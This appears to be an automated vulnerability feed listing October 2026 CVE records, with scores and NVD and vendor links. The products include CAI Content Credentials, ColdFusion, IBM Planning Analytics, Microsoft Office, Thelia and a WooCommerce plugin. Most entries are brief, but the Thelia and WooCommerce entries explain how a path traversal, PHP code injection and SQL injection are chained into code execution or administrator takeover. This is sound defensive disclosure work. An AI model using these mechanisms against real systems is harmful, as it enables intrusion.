CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass.
https://kevwire.com/record/CVE-2026-100117
CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. (Oct 13, 2026).
CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100117).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100117&date=2026-10-25).
Sources:
NVD CVE-2026-100117: https://nvd.nist.gov/vuln/detail/CVE-2026-100117
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100117&date=2026-10-25
CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CAI Content Credentials is affected by an Improper Access Control vulnerability that could result in a Security feature bypass.
https://kevwire.com/record/CVE-2026-100115
CAI Content Credentials is affected by an Improper Access Control vulnerability that could result in a Security feature bypass. (Oct 13, 2026).
CAI Content Credentials is affected by an Improper Access Control vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100115).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100115&date=2026-10-25).
Sources:
NVD CVE-2026-100115: https://nvd.nist.gov/vuln/detail/CVE-2026-100115
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100115&date=2026-10-25
CAI Content Credentials is affected by an Improper Access Control vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass.
https://kevwire.com/record/CVE-2026-100119
CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. (Oct 13, 2026).
CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100119).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100119&date=2026-10-25).
Sources:
NVD CVE-2026-100119: https://nvd.nist.gov/vuln/detail/CVE-2026-100119
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100119&date=2026-10-25
CAI Content Credentials is affected by an Improper Input Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CAI Content Credentials is affected by an Improper Access Control vulnerability that could result in a Security feature bypass.
https://kevwire.com/record/CVE-2026-100114
CAI Content Credentials is affected by an Improper Access Control vulnerability that could result in a Security feature bypass. (Oct 13, 2026).
CAI Content Credentials is affected by an Improper Access Control vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100114).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100114&date=2026-10-25).
Sources:
NVD CVE-2026-100114: https://nvd.nist.gov/vuln/detail/CVE-2026-100114
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100114&date=2026-10-25
CAI Content Credentials is affected by an Improper Access Control vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CAI Content Credentials is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service.
https://kevwire.com/record/CVE-2026-100137
CAI Content Credentials is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. (Oct 13, 2026).
CAI Content Credentials is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100137).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100137&date=2026-10-25).
Sources:
NVD CVE-2026-100137: https://nvd.nist.gov/vuln/detail/CVE-2026-100137
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100137&date=2026-10-25
CAI Content Credentials is affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ColdFusion is affected by an Improper Control of Generation of Code ('Code Injection') vulnerability that could result in arbitrary code execution in the context of the current...
https://kevwire.com/record/CVE-2026-106624
ColdFusion is affected by an Improper Control of Generation of Code ('Code Injection') vulnerability that could result in arbitrary code execution in the context of the current... (Oct 13, 2026).
ColdFusion is affected by an Improper Control of Generation of Code ('Code Injection') vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.
CVSS 10.0 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-106624).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-106624&date=2026-10-25).
Sources:
NVD CVE-2026-106624: https://nvd.nist.gov/vuln/detail/CVE-2026-106624
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/coldfusion/apsb26-144.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-106624&date=2026-10-25
ColdFusion is affected by an Improper Control of Generation of Code ('Code Injection') vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### CAI Content Credentials is affected by an Improper Certificate Validation vulnerability that could result in a Security feature bypass.
https://kevwire.com/record/CVE-2026-100122
CAI Content Credentials is affected by an Improper Certificate Validation vulnerability that could result in a Security feature bypass. (Oct 13, 2026).
CAI Content Credentials is affected by an Improper Certificate Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100122).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100122&date=2026-10-25).
Sources:
NVD CVE-2026-100122: https://nvd.nist.gov/vuln/detail/CVE-2026-100122
Vendor advisory (via NVD references): https://www.adobe.com/trust/security/products/content-credentials-sdk/apsb26-163.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100122&date=2026-10-25
CAI Content Credentials is affected by an Improper Certificate Validation vulnerability that could result in a Security feature bypass. An attacker could leverage this vulnerability to bypass security measures and gain unauthorized write access. Exploitation of this issue does not require user interaction.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM Planning Analytics 2.0, and 2.1 could allow a remote authenticated attacker to delete folders and applications belonging to other users due to improper functional level access...
https://kevwire.com/record/CVE-2026-17475
IBM Planning Analytics 2.0, and 2.1 could allow a remote authenticated attacker to delete folders and applications belonging to other users due to improper functional level access... (Oct 12, 2026).
IBM Planning Analytics 2.0, and 2.1 could allow a remote authenticated attacker to delete folders and applications belonging to other users due to improper functional level access control.
CVSS 7.1 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-17475).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-17475&date=2026-10-25).
Sources:
NVD CVE-2026-17475: https://nvd.nist.gov/vuln/detail/CVE-2026-17475
Vendor advisory (via NVD references): https://www.ibm.com/support/pages/node/7291604
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-17475&date=2026-10-25
IBM Planning Analytics 2.0, and 2.1 could allow a remote authenticated attacker to delete folders and applications belonging to other users due to improper functional level access control.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Thelia 3.0.0's back-office Email/Messages feature contains a server‑side template injection (SSTI) flaw that allows any authenticated user with the “Messages” permission to supply...
https://kevwire.com/record/CVE-2026-107248
Thelia 3.0.0's back-office Email/Messages feature contains a server‑side template injection (SSTI) flaw that allows any authenticated user with the “Messages” permission to supply... (Oct 12, 2026).
Thelia 3.0.0's back-office Email/Messages feature contains a server‑side template injection (SSTI) flaw that allows any authenticated user with the “Messages” permission to supply unsandboxed Twig templates, which are then compiled and executed as raw code. By modifying Message content, an attacker can execute arbitrary PHP functions, read sensitive files, and potentially write to the filesystem, leading to full compromise of the application and underlying host. This vulnerability has been patched in thelia/twig-engine-module 1.0.9.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107248).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107248&date=2026-10-25).
Sources:
NVD CVE-2026-107248: https://nvd.nist.gov/vuln/detail/CVE-2026-107248
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107248&date=2026-10-25
Thelia 3.0.0's back-office Email/Messages feature contains a server‑side template injection (SSTI) flaw that allows any authenticated user with the “Messages” permission to supply unsandboxed Twig templates, which are then compiled and executed as raw code. By modifying Message content, an attacker can execute arbitrary PHP functions, read sensitive files, and potentially write to the filesystem, leading to full compromise of the application and underlying host. This vulnerability has been patched in thelia/twig-engine-module 1.0.9.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Thelia v2.6.1 contains path traversal and PHP code injection vulnerabilities in its translation editor that can be chained to achieve remote code execution.
https://kevwire.com/record/CVE-2026-103535
Thelia v2.6.1 contains path traversal and PHP code injection vulnerabilities in its translation editor that can be chained to achieve remote code execution. (Oct 12, 2026).
Thelia v2.6.1 contains path traversal and PHP code injection vulnerabilities in its translation editor that can be chained to achieve remote code execution. The `item_name` parameter, used to build the translation file's write path, does not sanitize directory traversal sequences such as `../`. This enables an authenticated user with `UPDATE`-level permissions on `admin.configuration.language` to write files outside the expected `templates/` directory, including to web‑accessible paths. Separately, the translation‑writing logic does not escape `\` in user‑supplied values, allowing inputs to break out of the PHP string literal and inject executable code into the translation file. Chained together, these flaws allow a malicious PHP file to be written to a web-accessible path and executed with the web‑server’s privileges.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103535).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103535&date=2026-10-25).
Sources:
NVD CVE-2026-103535: https://nvd.nist.gov/vuln/detail/CVE-2026-103535
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103535&date=2026-10-25
Thelia v2.6.1 contains path traversal and PHP code injection vulnerabilities in its translation editor that can be chained to achieve remote code execution. The `item_name` parameter, used to build the translation file's write path, does not sanitize directory traversal sequences such as `../`. This enables an authenticated user with `UPDATE`-level permissions on `admin.configuration.language` to write files outside the expected `templates/` directory, including to web‑accessible paths. Separately, the translation‑writing logic does not escape `\` in user‑supplied values, allowing inputs to break out of the PHP string literal and inject executable code into the translation file. Chained together, these flaws allow a malicious PHP file to be written to a web-accessible path and executed with the web‑server’s privileges.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM Planning Analytics 2.0, and 2.1 could allow a remote attacker to gain unauthorized administrative access due to improper authentication.
https://kevwire.com/record/CVE-2026-19620
IBM Planning Analytics 2.0, and 2.1 could allow a remote attacker to gain unauthorized administrative access due to improper authentication. (Oct 12, 2026).
IBM Planning Analytics 2.0, and 2.1 could allow a remote attacker to gain unauthorized administrative access due to improper authentication.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-19620).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-19620&date=2026-10-25).
Sources:
NVD CVE-2026-19620: https://nvd.nist.gov/vuln/detail/CVE-2026-19620
Vendor advisory (via NVD references): https://www.ibm.com/support/pages/node/7291604
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-19620&date=2026-10-25
IBM Planning Analytics 2.0, and 2.1 could allow a remote attacker to gain unauthorized administrative access due to improper authentication.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### IBM Planning Analytics 2.0, and 2.1 could allow a remote attacker to bypass authentication and escalate privileges due to improper validation of sub-requests.
https://kevwire.com/record/CVE-2026-19622
IBM Planning Analytics 2.0, and 2.1 could allow a remote attacker to bypass authentication and escalate privileges due to improper validation of sub-requests. (Oct 12, 2026).
IBM Planning Analytics 2.0, and 2.1 could allow a remote attacker to bypass authentication and escalate privileges due to improper validation of sub-requests.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-19622).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-19622&date=2026-10-25).
Sources:
NVD CVE-2026-19622: https://nvd.nist.gov/vuln/detail/CVE-2026-19622
Vendor advisory (via NVD references): https://www.ibm.com/support/pages/node/7291604
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-19622&date=2026-10-25
IBM Planning Analytics 2.0, and 2.1 could allow a remote attacker to bypass authentication and escalate privileges due to improper validation of sub-requests.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Time-of-check time-of-use (toctou) race condition in Microsoft Office Click-To-Run allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-97774
Time-of-check time-of-use (toctou) race condition in Microsoft Office Click-To-Run allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Time-of-check time-of-use (toctou) race condition in Microsoft Office Click-To-Run allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97774).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97774&date=2026-10-25).
Sources:
NVD CVE-2026-97774: https://nvd.nist.gov/vuln/detail/CVE-2026-97774
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-97774
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97774&date=2026-10-25
Time-of-check time-of-use (toctou) race condition in Microsoft Office Click-To-Run allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code locally.
https://kevwire.com/record/CVE-2026-96996
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code locally. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code locally.
CVSS 7.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96996).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96996&date=2026-10-25).
Sources:
NVD CVE-2026-96996: https://nvd.nist.gov/vuln/detail/CVE-2026-96996
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96996
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96996&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Microsoft Office Click-To-Run allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88109
Use after free in Microsoft Office Click-To-Run allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Microsoft Office Click-To-Run allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88109).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88109&date=2026-10-25).
Sources:
NVD CVE-2026-88109: https://nvd.nist.gov/vuln/detail/CVE-2026-88109
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88109
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88109&date=2026-10-25
Use after free in Microsoft Office Click-To-Run allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Microsoft Office Click-To-Run allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85340
Use after free in Microsoft Office Click-To-Run allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Microsoft Office Click-To-Run allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85340).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85340&date=2026-10-25).
Sources:
NVD CVE-2026-85340: https://nvd.nist.gov/vuln/detail/CVE-2026-85340
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85340
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85340&date=2026-10-25
Use after free in Microsoft Office Click-To-Run allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Microsoft Office Click-To-Run allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70276
Use after free in Microsoft Office Click-To-Run allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Microsoft Office Click-To-Run allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70276).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70276&date=2026-10-25).
Sources:
NVD CVE-2026-70276: https://nvd.nist.gov/vuln/detail/CVE-2026-70276
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70276
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70276&date=2026-10-25
Use after free in Microsoft Office Click-To-Run allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Visio allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-102857
Heap-based buffer overflow in Microsoft Office Visio allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Visio allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102857).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102857&date=2026-10-25).
Sources:
NVD CVE-2026-102857: https://nvd.nist.gov/vuln/detail/CVE-2026-102857
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102857
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102857&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Visio allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft Office Visio allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-102856
Heap-based buffer overflow in Microsoft Office Visio allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft Office Visio allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102856).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102856&date=2026-10-25).
Sources:
NVD CVE-2026-102856: https://nvd.nist.gov/vuln/detail/CVE-2026-102856
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-102856
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102856&date=2026-10-25
Heap-based buffer overflow in Microsoft Office Visio allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Abandoned Cart Pro for WooCommerce plugin for WordPress is vulnerable to SQL Injection via the guest cart persistent meta_value in all versions up to, and including, 10.8.0...
https://kevwire.com/record/CVE-2026-97668
The Abandoned Cart Pro for WooCommerce plugin for WordPress is vulnerable to SQL Injection via the guest cart persistent meta_value in all versions up to, and including, 10.8.0... (Oct 14, 2026).
The Abandoned Cart Pro for WooCommerce plugin for WordPress is vulnerable to SQL Injection via the guest cart persistent meta_value in all versions up to, and including, 10.8.0 due to insufficient escaping on user supplied data and lack of sufficient preparation on the existing SQL query in the update_guest_persistent_cart() function. The abandoned_cart_info value, populated from attacker-controlled checkout fields such as the SMS consent field, is passed through stripslashes() and concatenated directly into an UPDATE statement while the adjacent SELECT and INSERT use prepared statements. This makes it possible for unauthenticated attackers to append additional SQL to the query. Because the sink is an UPDATE ... SET on the wp_usermeta table, the injection can both extract sensitive information from the database via time-based blind techniques and modify usermeta rows; it has been demonstrated to escalate an arbitrary account to administrator by writing a wp_capabilities row that shadows the legitimate one.
